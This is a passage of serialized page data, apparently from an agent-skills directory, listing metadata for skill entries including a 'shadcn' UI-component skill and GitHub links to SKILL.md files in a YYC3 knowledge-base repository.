interaction.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Fagent-browser\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M7CTBKVFYBG78FDSABSDJTTQ","shadcn","Manages shadcn components and projects — adding, searching, fixing, debugging, styling, and composing UI, including chat interfaces. Provides project context, component docs, and usage examples. Applies when working with shadcn\u002Fui, component registries, presets, --preset codes, or any project with a components.json file. Also triggers for \"shadcn init\", \"create an app with --preset\", \"switch to --preset\", and for building a design system or applying a DESIGN.md or brand spec to shadcn\u002Fui.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-UI-界面组件\u002FYYC3-UI-界面组件-ui\u002Fskills\u002Fshadcn\u002FSKILL.md",[],[]]